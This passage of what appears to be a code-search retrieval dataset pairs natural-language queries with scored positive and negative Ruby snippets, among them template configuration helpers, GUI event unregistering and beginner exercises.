cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\"\n puts # a blank line\nend", "title": "" }, { "docid": "b320b1f3cd9f078b7b092299199129e6", "score": "0.57403165", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"you have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\"\n puts # a blank line\nend", "title": "" }, { "docid": "61596e1d6cf94ed66392e41983469a7e", "score": "0.57388914", "text": "def long_planeteer_calls(calls)\n calls.any? do |call| #any returns a boolean\n call.length > 4\n end\nend", "title": "" }, { "docid": "3825fbd6b80d1371794db3f8ce966727", "score": "0.57334274", "text": "def find_valid_calls(planeteer_calls)\n valid_calls = [\"Earth!\", \"Wind!\", \"Fire!\", \"Water!\", \"Heart!\"]\n planeteer_calls.find do |word| \n valid_calls.find do |call|\n word == call \n end\n end\nend", "title": "" }, { "docid": "35041edb4db86a04c1ab803c3398795b", "score": "0.5704562", "text": "def test_multiple_bay_Qu6()\n result = multiple_bay_number_Qu6(@warehouse, [\"hanger\", \"deodorant\", \"candy wrapper\", \"rubber band\"])\n assert_equal([:a10, :a4, :b9, :c8], result)\nend", "title": "" }, { "docid": "dacfa1242c749ddfb96316d28a116355", "score": "0.57015", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # Method body: prints different strings that interpolate the parameters\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\n# Close the method definition\nend", "title": "" } ]
be5df2cfd7fae1ba3d9274dee2e00310
dsl for configuring each template
[ { "docid": "a9ed009054f16611fe5114e7d9bdc905", "score": "0.6745217", "text": "def config (&block)\n template = new\n template.instance_eval &block\n validate_and_add template\n end", "title": "" } ]
[ { "docid": "015d0f413f610b48485a2e79abde118a", "score": "0.7446412", "text": "def template_setup; end", "title": "" }, { "docid": "d8a4bfc67996c6c8d43eadfaff13d782", "score": "0.7394781", "text": "def template_setup\n end", "title": "" }, { "docid": "b38268d0c7e26c00ffeaec4a8f05c39d", "score": "0.7239034", "text": "def gen_template template\n#--{{{\n ConfigFile::gen_template(template)\n self\n#--}}}\n end", "title": "" }, { "docid": "b75b168c2910530163ce919f4dd2b2bd", "score": "0.71748006", "text": "def templates; end", "title": "" }, { "docid": "11117c662dec0261d3b237697955f348", "score": "0.69711274", "text": "def template_setup\n content_for :content_title, \"System Administration\"\n content_for :content_subtitle, \"Multi-site Management\"\n end", "title": "" }, { "docid": "e3a18a315a86f760e0d7c461da4ac0c8", "score": "0.68609405", "text": "def template_setup\n content_for :content_title, @account.nil? ? 'Create a New Site' : @account.domain\n content_for :content_subtitle, \"Site Configuration\"\n end", "title": "" }, { "docid": "f82c179c7ac3fe8fe5b6a67db0ca0302", "score": "0.6572136", "text": "def templates_for(file); end", "title": "" }, { "docid": "74969cb8af48b9067ae5dfbb52cfa66d", "score": "0.65689516", "text": "def configure_template\n UI.section('-> Configuring template') do\n Dir.chdir(@name) do\n if File.file? 'configure'\n system \"./configure #{@name}\"\n else\n UI.warn 'Template does not have a configure file.'\n end\n end\n end\n end", "title": "" }, { "docid": "933dc26639ec0b8160a648c144d3141d", "score": "0.6539184", "text": "def configure_template\n UI.section(\"Configuring #{@name} template.\") do\n Dir.chdir(@name) do\n if File.exist?('configure')\n system('./configure', @name, *@additional_args)\n else\n UI.warn 'Template does not have a configure file.'\n end\n end\n end\n end", "title": "" }, { "docid": "131e603f4d57ef717b37759509361d8a", "score": "0.65201426", "text": "def templates\n configuration.templates\n end", "title": "" }, { "docid": "10b07b0e113f2bdd02c52dea7f8bce41", "score": "0.6502412", "text": "def generate_template\n generate_files\n generate_classes\n generate_index\n end", "title": "" }, { "docid": "64bc7382523b32557afcd4ac59e4e562", "score": "0.6477756", "text": "def create_template\n \n end", "title": "" }, { "docid": "6536c0e3b0a91b7a01e8b55e5f044b1f", "score": "0.6449142", "text": "def configure_template\n UI.section('-> Configuring template') do\n Dir.chdir(@name) do\n if File.file? 'configure'\n system \"./configure #{@name}\"\n else\n UI.warn 'Template does not have a configure file.'\n end\n end\n end\n end", "title": "" }, { "docid": "005dac756bd18cfe3200202a07469408", "score": "0.64481694", "text": "def template_setup\n content_for :content_title, \"User Management\"\n end", "title": "" }, { "docid": "510346443d56caad3706a127a89949ae", "score": "0.64348096", "text": "def template_for(file); end", "title": "" }, { "docid": "e90d2a4012d4d19e71c2c1141dad2897", "score": "0.64320934", "text": "def template; end", "title": "" }, { "docid": "e90d2a4012d4d19e71c2c1141dad2897", "score": "0.64320934", "text": "def template; end", "title": "" }, { "docid": "e90d2a4012d4d19e71c2c1141dad2897", "score": "0.64320934", "text": "def template; end", "title": "" }, { "docid": "af8b1aacd22ccfd27a72537d3093e3ff", "score": "0.6400523", "text": "def initialize_generate\n super\n @flavor.class.do_declare_resources do\n directories << 'templates'\n directories << File.join('templates', 'default')\n files_if_missing << File.join('templates', 'default', 'example.conf.erb')\n end\n end", "title": "" }, { "docid": "1c570d96273bfefe6dbc608797c735d3", "score": "0.6393662", "text": "def template_setup\n # to be overridden by other controllers\n end", "title": "" }, { "docid": "1c570d96273bfefe6dbc608797c735d3", "score": "0.6393662", "text": "def template_setup\n # to be overridden by other controllers\n end", "title": "" }, { "docid": "29ecc98577e984f27405415b427a5a13", "score": "0.637421", "text": "def template_configuration\n (handler_class.configuration[:templates] rescue {}) || {}\n end", "title": "" }, { "docid": "5a65b72d3ee24dbd69a0c62ae716230f", "score": "0.63706374", "text": "def template(name); end", "title": "" }, { "docid": "d7490b352333e85e1c3987262c42c988", "score": "0.6370082", "text": "def setup_template(variables={})\n variables[:template_name] ||= self.template_name\n Glass::Template.new(variables).render_self\n end", "title": "" }, { "docid": "b46a01121b9bc26f5f49eba014469c90", "score": "0.6342151", "text": "def initialize(*)\n super\n @template = @opts[:template]\n end", "title": "" }, { "docid": "c1ee772d379f58173b94b784fb78c9b5", "score": "0.629584", "text": "def template_list\n super\n end", "title": "" }, { "docid": "6f1f7bc896f8a1abed238ef77761d0d5", "score": "0.62822765", "text": "def add_templates\n # Add the config YML (social_credentials)\n template \"config/social_keys.yml\", \"config/social_keys.yml\"\n template \"config/social_keys.yml\", \"config/social_keys.example.yml\"\n puts 'Update your social_keys.yml with your social credentials & add it to your IGNORE & just keep the .example versioned'.colorize(:light_yellow)\n\n template 'tasks/socials.rake', 'lib/tasks/socials.rake'\n puts 'Just created the socials rake tasks, check it on the GitHub README'.colorize(:light_blue)\n\n template 'tasks/recreate.rake', 'lib/tasks/recreate.rake'\n puts 'Now you can easy rebase (clean up) your DB using rake db:recreate'.colorize(:light_green)\n\n # Add the OAuth Controller\n template \"controllers/omniauth_callbacks_controller.rb\", \"app/controllers/omniauth_callbacks_controller.rb\"\n puts 'Check out you your app/controllers/omniauth_callbacks_controller.rb which persist the social user through devise'.colorize(:light_green)\n end", "title": "" }, { "docid": "6f9126ab9529f7f5fd4611bc3e57bc36", "score": "0.62806183", "text": "def process_templates\n %w( recipe serverspec chefspec ).each { |type| create_recipe_file(type) }\n end", "title": "" }, { "docid": "c4ad170c172832460737b0e6cbda815b", "score": "0.62422895", "text": "def template_paths\n create_template_paths\n end", "title": "" }, { "docid": "f864eb8c185fd394897d7e682732e269", "score": "0.62273264", "text": "def set_templates(options = {})\n defaults = { kyozetsuriyu: File.join(File.dirname(__FILE__), 'default_riyu.docx'),\n shinpankyozetsuriyu: File.join(File.dirname(__FILE__), 'default_shinpankyozetsuriyu.docx'),\n kyozetsusatei: File.join(File.dirname(__FILE__), 'default_satei.docx'),\n shinnen: File.join(File.dirname(__FILE__), 'default_shinnen.docx'),\n shireisho: File.join(File.dirname(__FILE__), 'default_shireisho.docx'),\n rejectamendments: File.join(File.dirname(__FILE__), 'default_rejectamendments.docx'),\n examiners: File.join(File.dirname(__FILE__), 'examiners.txt')\n }\n @templates = defaults.merge(options)\n pick_template\n end", "title": "" }, { "docid": "ba6e85a196422e42bd751957ed8705f1", "score": "0.62270814", "text": "def template_setup\n content_for :content_title, 'Lesson Pages'\n end", "title": "" }, { "docid": "696ef50a226022b637d724d695f18171", "score": "0.61831695", "text": "def templates\n actions(:templates)\n end", "title": "" }, { "docid": "ef3ee57db02129c5ad536d2424966f4a", "score": "0.6173742", "text": "def templates=(_arg0); end", "title": "" }, { "docid": "1a35d89004192e9a271436edf5ce0ffb", "score": "0.6166143", "text": "def template\n input(TEMPLATE)\n end", "title": "" }, { "docid": "0696119606c93a9121f81d82dee0e74a", "score": "0.61607707", "text": "def fill_template( template_name, output_file, parser_plan )\n File.open( \"#{File.dirname(File.expand_path(__FILE__))}/templates/#{template_name}\" ) do |template_file|\n while line = template_file.gets()\n line.chomp!\n \n if line =~ /%%(\\w+)%%/ then\n formatter = Formatter.new( output_file, $`, $' )\n \n case $1\n when \"MODULE_HEADER\"\n if @configuration.member?(\"module_contexts\") then\n @configuration[\"module_contexts\"].each do |module_context|\n formatter << %[module #{module_context}]\n end\n end\n \n when \"MODULE_FOOTER\"\n if @configuration.member?(\"module_contexts\") then\n @configuration[\"module_contexts\"].reverse.each do |module_context|\n formatter << %[end # module #{module_context}]\n end\n end\n\n when \"GRAMMAR_NAME\"\n formatter << %[#{parser_plan.name}]\n \n when \"GRAMMAR_CLASS_NAME\"\n formatter << make_class_name(parser_plan.name)\n \n when \"GENERATION_DATE\"\n formatter << Time.now.strftime(\"%Y-%m-%d at %H:%M\")\n \n else\n yield( $1, formatter )\n end\n else\n output_file.puts line\n end\n end\n end\n end", "title": "" }, { "docid": "69b41480532c849d645ac21b6dadb2c9", "score": "0.61519325", "text": "def make_template\n populate_template\n close_open_block_commands\n end", "title": "" }, { "docid": "eda9fabc11eb890d0171048d656d3552", "score": "0.612042", "text": "def type; :Template; end", "title": "" }, { "docid": "118f7bb858104a707b5ff57b1bd32120", "score": "0.6093847", "text": "def template\n input(TEMPLATE)\n end", "title": "" }, { "docid": "118f7bb858104a707b5ff57b1bd32120", "score": "0.6093847", "text": "def template\n input(TEMPLATE)\n end", "title": "" }, { "docid": "96dcafc7a589e2413eec794615100c39", "score": "0.60822594", "text": "def method_missing(method, *args, &block)\n if method == :conf\n engine.send(method, *args, &block)\n else\n @current_template.send(method, *args, &block)\n end\n end", "title": "" }, { "docid": "4799d29018265e9c4669896c5ca93a08", "score": "0.60811776", "text": "def configure(conf)\n super\n\n @templates = Vash.new()\n @samplers_v9 = Vash.new()\n # Path to default Netflow v9 field definitions\n filename = File.expand_path('../netflow_fields.yaml', __FILE__)\n\n begin\n @template_fields = YAML.load_file(filename)\n rescue => e\n raise Fluent::ConfigError, \"Bad syntax in definitions file #{filename}, error_class = #{e.class.name}, error = #{e.message}\"\n end\n\n # Allow the user to augment/override/rename the supported Netflow fields\n if @definitions\n raise Fluent::ConfigError, \"definitions file #{@definitions} doesn't exist\" unless File.exist?(@definitions)\n begin\n template_fields_custom = YAML.load_file(@definitions)\n if template_fields_custom.first.last.is_a?(Array) # compatibility for older definition files\n @template_fields['option'].merge!(template_fields_custom)\n else\n @template_fields.each do |key, _|\n if template_fields_custom.key?(key)\n @template_fields[key].merge!(template_fields_custom[key])\n end\n end\n end\n rescue => e\n raise Fluent::ConfigError, \"Bad syntax in definitions file #{@definitions}, error_class = #{e.class.name}, error = #{e.message}\"\n end\n end\n end", "title": "" }, { "docid": "0dcff91cbb729c233837d0d858f068ed", "score": "0.60799766", "text": "def templates\n Actions::Templates.new(\n root: command.templates_path,\n view: View.new(command: command, locals: locals)\n )\n end", "title": "" }, { "docid": "007126574d363fd5ace3459445a5a8b9", "score": "0.6077544", "text": "def initialize_template_settings!\n Padrino::Rendering.engine_configurations.each do |name, value|\n settings.class.instance_eval { define_method(name) { value } }\n end\n end", "title": "" }, { "docid": "6bc0f114a1e2a0ce10238f8cc30f6836", "score": "0.6075293", "text": "def template_injector\n {}\n end", "title": "" }, { "docid": "ec3b229db4a8edf54a40d6e047c2420e", "score": "0.6066931", "text": "def template(name, &b)\n templates[name] = b\n end", "title": "" }, { "docid": "75c8672f40a8a420bf68bdc843a17874", "score": "0.60556", "text": "def template\n find_template(@template || conf['template'], @opts[:t])\n end", "title": "" }, { "docid": "25f6ab1a66b075d59db3855e3b9e04d7", "score": "0.6052876", "text": "def inject_template(template)\n\n end", "title": "" }, { "docid": "156b216753e9e243e8b89b47b26fb0ef", "score": "0.6051871", "text": "def templates\n ConfigData.list_of_type 'templates'\n end", "title": "" }, { "docid": "2e862624133ee278c11565471fad6c97", "score": "0.60514814", "text": "def initialize(config={})\n @template = config.fetch(:template)\n super(config.delete(:template))\n end", "title": "" }, { "docid": "c305a8d564c547abdc4403cf7de51338", "score": "0.60256875", "text": "def template\n options[:template]\n end", "title": "" }, { "docid": "637c2004a382ce642ebbc4abdb9978bb", "score": "0.60147905", "text": "def build_template(account,asg_doc)\n if(asg_doc['load_balancer']!=nil)\n lb_doc=@lbm.retrieve_lb(account,asg_doc[\"load_balancer\"])\n if(lb_doc==nil)\n raise \"could not find load balancer configuration: #{asg_doc[\"load_balancer\"]}\"\n end\n end\n lc_doc=@lcm.retrieve_lconf(account,asg_doc[\"launch_configuration\"])\n if(lc_doc==nil)\n raise \"could not find launch configuration #{asg_doc[\"launch_configuration\"]}\"\n end \n if(lc_doc['metadata']==nil)\n lc_doc['metadata']=Hash.new\n end\n if(lb_doc!=nil)\n lc_doc['metadata']['local_http_port']=lb_doc['instances_port']\n end \n {:asg_name=>asg_doc['name'],:instance_type=>lc_doc[\"instances_type\"],:n_cpus=>@conf[\"instance_types\"][\"m1.small\"][\"vcpu\"],\n :memory=>@conf[\"instance_types\"][\"m1.small\"][\"memory\"],:desired=>asg_doc[\"desired_capacity\"],\n :type=>TYPE_CONTAINER,:domain=>asg_doc[\"domain\"],:image_id=>lc_doc[\"image_id\"],\n :hourly_billing=>@conf[\"instances\"][\"hourly_billing\"],:availability_zones=>asg_doc[\"availability_zones\"],:metadata=>lc_doc['metadata']} \n end", "title": "" }, { "docid": "8412619fe479fce591dc6f0ae4d32655", "score": "0.6009022", "text": "def template_pages\n Page.all(config, views_path)\n end", "title": "" }, { "docid": "10da26ebaa7943088ce6847783b5acd6", "score": "0.60026807", "text": "def template_destination\n super\n end", "title": "" }, { "docid": "35be3fb5c7347f67d89deb9e0439126b", "score": "0.60013455", "text": "def generate_templates\n # Generate views using bootstrap and semanic view generators\n gen_tags = []\n gen_tags.push(\"--template-engine=#{options[:template_engine]}\")\n gen_tags.push('--simpleform') if options[:simpleform]\n gen_tags.push('--pagination') unless options[:skip_pagination]\n gen_tags.push('--devise') unless options[:noauth]\n gen_tags.push('--skip_javascript') if options[:skip_javascript]\n gen_tags.push('--skip_turbolinks') if options[:skip_turbolinks]\n gen_tags.push('--metatags')\n gen_tags.push('--layout')\n generate(\"#{options[:framework]}:install #{gen_tags.join(' ')}\") if %w[bootstrap semantic].include? options[:framework]\n end", "title": "" }, { "docid": "5f1dbb9ed57f150d53189d9d9d8511d3", "score": "0.5998658", "text": "def init_template_framework(template, root)\n @template_paths = [File.expand_path(File.dirname(template), File.join(root,'..'))]\n end", "title": "" }, { "docid": "537c46d6b1d3a2ab7436a32bc272c727", "score": "0.5998583", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "0117564318e887c952e54376ef03d02f", "score": "0.59959686", "text": "def use_template?; @use_template; end", "title": "" }, { "docid": "638cc69d1eb5625775a07c9d8e19f5d4", "score": "0.5991694", "text": "def template(template)\n @template = template\n end", "title": "" }, { "docid": "1536a1207686388486e7aacd5b4ad4f7", "score": "0.5987218", "text": "def template(from, to)\n erb = File.read(File.expand_path(\"../magic_recipes/templates/#{from}\", __FILE__))\n put ERB.new(erb).result(binding), to, via: put_via\n end", "title": "" }, { "docid": "31a3d493a0596bd8ca1d7faa6e5647af", "score": "0.59858173", "text": "def configure_template\n UI.section(\"Configuring #{@name} template.\") do\n Dir.chdir(@name) do\n if File.exist?('configure')\n system({ 'COCOAPODS_VERSION' => Pod::VERSION }, './configure', @name, *@additional_args)\n else\n UI.warn 'Template does not have a configure file.'\n end\n end\n end\n end", "title": "" }, { "docid": "8b03eb2bc26bc1adee2d794fd9dcf86b", "score": "0.5977622", "text": "def create_template\n self.template = \"template 14231\"\n end", "title": "" }, { "docid": "b104410f5f5d82735974a7bba42e9b79", "score": "0.59697074", "text": "def content_template\n config[:content_template]\n end", "title": "" }, { "docid": "1fd7c20a98a73f37aa19113cc581fa5b", "score": "0.5962199", "text": "def generate\n copy_templates\n end", "title": "" }, { "docid": "077948eee548d57e9afb639f9a90edee", "score": "0.59565693", "text": "def define_template name, &block\n self.template_registry.define name, &block\n end", "title": "" }, { "docid": "077948eee548d57e9afb639f9a90edee", "score": "0.59565693", "text": "def define_template name, &block\n self.template_registry.define name, &block\n end", "title": "" }, { "docid": "b9aaf3825be35795a971e6d6a53696ce", "score": "0.5950155", "text": "def templates\n fetch(:templates)\n end", "title": "" }, { "docid": "cc36669cf42102eb8b105a92b77f4d42", "score": "0.5945756", "text": "def template_context host\n defaults = self.config[\"defaults\"] || {}\n specific_data = self.config[host] || {}\n defaults.merge( specific_data ).merge( { \"host\" => host } )\n end", "title": "" }, { "docid": "1e53539e3469abc10320a46aa627c744", "score": "0.5940541", "text": "def apply_rails_template\n end", "title": "" }, { "docid": "72a901fc485580062b03f35bf037ea8e", "score": "0.59372956", "text": "def template_registry\n self.class.template_registry\n end", "title": "" }, { "docid": "6c7300de5bc500be0e77c5a86dda4ff7", "score": "0.5935961", "text": "def generate_templates!\n\n @resources.each do |r|\n r.parse_apidoc!\n r.generate_view!(@resources)\n end\n generate_index!\n end", "title": "" }, { "docid": "030b585de327eb22afa5514e61d3472a", "score": "0.59357846", "text": "def configure\r\n yield config\r\n end", "title": "" }, { "docid": "5ce27b4fd2fbd9a4a282722ef132c9c1", "score": "0.5928851", "text": "def templates\n config[TEMPLATES_KEY] = Utils.hashify(config[TEMPLATES_KEY])\n end", "title": "" }, { "docid": "5920f4af89a9c80e4b7cc58df1906bb2", "score": "0.5922238", "text": "def template(generator)\n # operating_system&.template(generator, self)\n end", "title": "" }, { "docid": "46cca9492045b88dc4141173d7582e33", "score": "0.591949", "text": "def template\n Stackup::YAML.load(template_body)\n end", "title": "" }, { "docid": "5716202b801b3aac006b8bc299619c3b", "score": "0.59183073", "text": "def meta name, &block\n Base.sources.current_load_source.templates.add_template(name, block)\n end", "title": "" }, { "docid": "b505e8eb37d01d60841240a1f11680ed", "score": "0.5916152", "text": "def create_templates(config)\n check_class = lambda do |klass, m|\n unless klass.respond_to?(m)\n raise ArgumentError, \"handler #{klass} does not have a method named '#{m}'\"\n end\n end\n\n templates = case config\n when nil\n @accept.inject({}) do |cfg,name|\n unless t = TEMPLATES[name]\n raise ArgumentError, \"no handler defined for #{name}\"\n end\n cfg[name] = t\n cfg\n end\n when String\n unless ::File.directory?(config)\n raise ArgumentError, \":templates option '#{config}' is not a directory\"\n end\n load_directory(config)\n when Hash\n config.select { |k,v| @accept.include?(k) }.inject({}) do |cfg, (name,t)|\n cfg[name] = case t\n when String\n load_file(t)\n when Class, Proc\n check_class.call(t,name) if t.is_a?(Class)\n t\n else\n raise ArgumentError, \"invalid handler #{t} for type '#{name}'\"\n end\n cfg\n end\n when Class\n @accept.inject({}) do |cfg,name|\n check_class.call(config,name)\n cfg[name] = config\n cfg\n end\n end\n\n templates = TEMPLATES.merge(templates)\n templates\n end", "title": "" }, { "docid": "3d9a92ac9502403c5610222094b4d342", "score": "0.59140843", "text": "def create_configuration\n template \"application.yml\", \"config/application.yml\"\n template \"application.secrets.yml\", \"config/application.secrets.yml\"\n end", "title": "" }, { "docid": "6844f01bf9e6c0be66e02d63080aa22b", "score": "0.59124005", "text": "def create_file_config\n template \"config/express_translate.yml\", \"config/express_translate.yml\"\n end", "title": "" }, { "docid": "aee0e049fafd63738606501367dce102", "score": "0.59099776", "text": "def template_options\n @template_options ||= {\n name: name,\n install_dir: \"/opt/#{name}\",\n }\n end", "title": "" }, { "docid": "8c7e59552c2abbad67327c1c55a57e6e", "score": "0.5907999", "text": "def templates()\n merge(templates: 'true')\n end", "title": "" }, { "docid": "51fd908eb39da3db83ba316eb9978c32", "score": "0.5900846", "text": "def template_paths(opts = {})\n {:page => PageType.template_for(template_name, opts), :layout => Layout.template_for(layout_name, opts)}\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "75456c9f875d4108893940f8e17ee1c0", "score": "0.5900203", "text": "def configure\n yield configuration\n end", "title": "" }, { "docid": "484cd3cf409012672e26f6ac27bec35f", "score": "0.58977824", "text": "def template name, opts={}\n # rr name\n end", "title": "" }, { "docid": "4402a83ba78f1b244497fde941a3ddb6", "score": "0.589028", "text": "def template(&block)\n @store_template = block\nend", "title": "" }, { "docid": "e063e5c8cbc9de361831eb00bb4e3ab6", "score": "0.5886004", "text": "def add_miq_templates\n add_collection(cloud, :miq_templates) do |builder|\n builder.add_properties(:model_class => ::ManageIQ::Providers::Vmware::CloudManager::Template)\n end\n end", "title": "" } ]
fd3a540e8b7f50300dd7a79bf80853a5
Unregister a GUI that was notified upon events Parameters:: iGUI (_Object_): The GUI to be notified.
[ { "docid": "c568a6c47ea3f9c205a8d7928089ce2f", "score": "0.852279", "text": "def unregisterGUI(iGUI)\n lFound = false\n @RegisteredGUIs.delete_if do |iExistingGUI|\n lFound = true\n next (iExistingGUI == iGUI)\n end\n if (!lFound)\n log_bug \"Gui #{iGUI} should have been registered to handle events, but we can't retrieve it.\"\n end\n end", "title": "" } ]
[ { "docid": "ffeafd2b8032e2d8ad75a99b44414c1f", "score": "0.65374297", "text": "def unregister( io )\n\t\t@pending_events.delete( io )\n\t\t@handles.delete( io )\n\tend", "title": "" }, { "docid": "ffeafd2b8032e2d8ad75a99b44414c1f", "score": "0.65374297", "text": "def unregister( io )\n\t\t@pending_events.delete( io )\n\t\t@handles.delete( io )\n\tend", "title": "" }, { "docid": "3a7dc7a4d5b4e8039591366de614995f", "score": "0.6119365", "text": "def registerGUI(iGUI)\n @RegisteredGUIs << iGUI\n end", "title": "" }, { "docid": "e9009665b6f602f22b7eeaf2df227160", "score": "0.58120435", "text": "def unregisterToolbar(iToolbar)\n @Commands.each do |iCommandID, ioCommand|\n ioCommand[:RegisteredToolbarButtons].delete_if do |iRegisteredToolbarButtonInfo|\n iButton, iParams = iRegisteredToolbarButtonInfo\n next (iButton.tool_bar == iToolbar)\n end\n end\n end", "title": "" }, { "docid": "f627b85538177d58157917b27d8844d4", "score": "0.5766419", "text": "def unregisterMenuEvt(iEvtWindow)\n @Commands.each do |iCommandID, ioCommand|\n ioCommand[:RegisteredMenuItems].delete_if do |iRegisteredMenuInfo|\n iMenuItem, iRegisteredEvtWindow, iCode, iParams = iRegisteredMenuInfo\n next (iRegisteredEvtWindow == iEvtWindow)\n end\n end\n end", "title": "" }, { "docid": "db902355e97f8f5d493887d8d55e6038", "score": "0.5671416", "text": "def unregister_interface(object)\n\t\tinterface = nil\n\t\tinterface = object if object.kind_of? Class and object.ancestors.member? Interface\n\t\tinterface = @interfaces[object.to_sym] if object.kind_of? String\n\n\t\tif (@interfaces.has_value? interface)\n\t\t\t# TODO: destruct affected routes\n\t\t\tcall_hook('pre_unregister_interface', interface)\n\t\t\t\n\t\t\t@connectors.each do |conn_name, connector|\n\t\t\t\tstop_connector(conn_name) if connector.kind_of? interface and connector.state != Interface::STATE_OFFLINE\n\t\t\tend\n\t\t\t\n\t\t\t@interfaces.reject! { |name, int| int == interface }\n\n\t\t\t@log.info(:core) { \"[unregister interface] unregistered: #{interface.to_s}\" }\n\n\t\t\tcall_hook('post_unregister_interface', interface)\n\t\telse\n\t\t\t@log.error(:core) { \"[unregister interface] no such interface: #{object.to_s}\" }\n\t\tend\n\tend", "title": "" }, { "docid": "3705e75cb71bd8a4310b66c8d89118f0", "score": "0.557226", "text": "def shutdown\r\n#\t\t\tWindowEventUtilities::remove_window_event_listener(@window, @window_event_listener)\r\n#\t\t\t@window_event_listener.window_closed(@window)\r\n\t\t\t\r\n\t\t\t# Clean up our input objects\r\n\t\t\t@input_manager = nil\r\n\t\tend", "title": "" }, { "docid": "ee84daabfc08a4db43257a341adbefb7", "score": "0.5526753", "text": "def unregister_action(event, window=self)\n unless window.is_a?(Rubydraw::Window)\n raise ArgumentError, \"window must be a Rubydraw::Window\"\n end\n window.registered_actions[event].delete(self)\n end", "title": "" }, { "docid": "b237ca33fb82f976039f94e7cd75ad97", "score": "0.5510254", "text": "def set_gui_for_dialogs(iGUIToUse)\n @DialogsGUI = iGUIToUse\n end", "title": "" }, { "docid": "faa17652c8b5cdf46d86c860e36637a2", "score": "0.55029297", "text": "def unbind\n\t\t\tdispatch_event :disconnect\n\t\t\t@state = :inactive\n\n\t\t\tplugins.each do |plugin|\n\t\t\t\tremove_plugin plugin\n\t\t\tend\n\n\t\t\tremove_all_recurring_timers\n\n\t\t\t@timer_ok = false\n\n\t\t\t@output_timer.cancel\n\n\t\t\t@bot_disconnected_hook.call if @bot_disconnected_hook\n\t\tend", "title": "" }, { "docid": "da32dde5b4e52d68d2b33d6b4d5b7e60", "score": "0.54956555", "text": "def unregister_events_for(plugin)\n listeners.values.each do |type_set|\n type_set.to_a.each do |item|\n if item.plugin == plugin\n type_set.remove item \n end\n end\n end\n end", "title": "" }, { "docid": "f9fad952fadb402e9282535a3c7de1e2", "score": "0.5493313", "text": "def gui_end\n end", "title": "" }, { "docid": "fd558ad8a6ec35561e4ce700af57446d", "score": "0.54815495", "text": "def unsubscribe object\n @events.each do |event|\n event.remove_object object\n end\n end", "title": "" }, { "docid": "d82a06d651dbd52fe02a819604d191fa", "score": "0.5465726", "text": "def teardown_ui\n Gem::DefaultUserInteraction.ui = @old_ui if @old_ui\n end", "title": "" }, { "docid": "133368e3fccb6c988819e00bde1c8d0e", "score": "0.54458195", "text": "def listenerDestroy \n @window.signal_connect('destroy') {\n @ctrl.destructionMenu\n }\n end", "title": "" }, { "docid": "d45341f78034d6dc655ae02d25173709", "score": "0.54375535", "text": "def unregister_notifier(notifier)\n @notifier.unregister notifier\n end", "title": "" }, { "docid": "7637d87ffde6613fc18755d47a41fe3d", "score": "0.534795", "text": "def unsubscribe\n @event_handler.unregister(self)\n end", "title": "" }, { "docid": "ab83ac5051f64312c2f296729f555058", "score": "0.5344154", "text": "def unregister_widget(widget)\n not @widgets.delete(widget.id).nil?\n end", "title": "" }, { "docid": "f6e4290c59026a94f66791facf348bb3", "score": "0.5342195", "text": "def unregister(notifier)\n self.unregister_by_name notifier.name\n end", "title": "" }, { "docid": "404822a9dab42bf685e0fe0b4b694eff", "score": "0.5339887", "text": "def unregister(plugin)\n if @registered.include?(plugin)\n @logger.info(\"Unregistered: #{plugin.name}\")\n @registered.delete(plugin)\n end\n end", "title": "" }, { "docid": "404822a9dab42bf685e0fe0b4b694eff", "score": "0.5339887", "text": "def unregister(plugin)\n if @registered.include?(plugin)\n @logger.info(\"Unregistered: #{plugin.name}\")\n @registered.delete(plugin)\n end\n end", "title": "" }, { "docid": "5ed0c5a7d9e087b310d55140b509aa86", "score": "0.53149205", "text": "def destroy\n CDK.deleteCursesWindow(@shadow_win)\n CDK.deleteCursesWindow(@win)\n\n self.cleanBindings(:LABEL)\n\n CDK::SCREEN.unregister(:LABEL, self)\n end", "title": "" }, { "docid": "5482b559ca37108c32c7625d788c3518", "score": "0.53123355", "text": "def remove_unregister_from_event_loop_callbacks\n @fiber[:callbacks].delete self.method(:unregister_from_event_loop)\n end", "title": "" }, { "docid": "5482b559ca37108c32c7625d788c3518", "score": "0.53123355", "text": "def remove_unregister_from_event_loop_callbacks\n 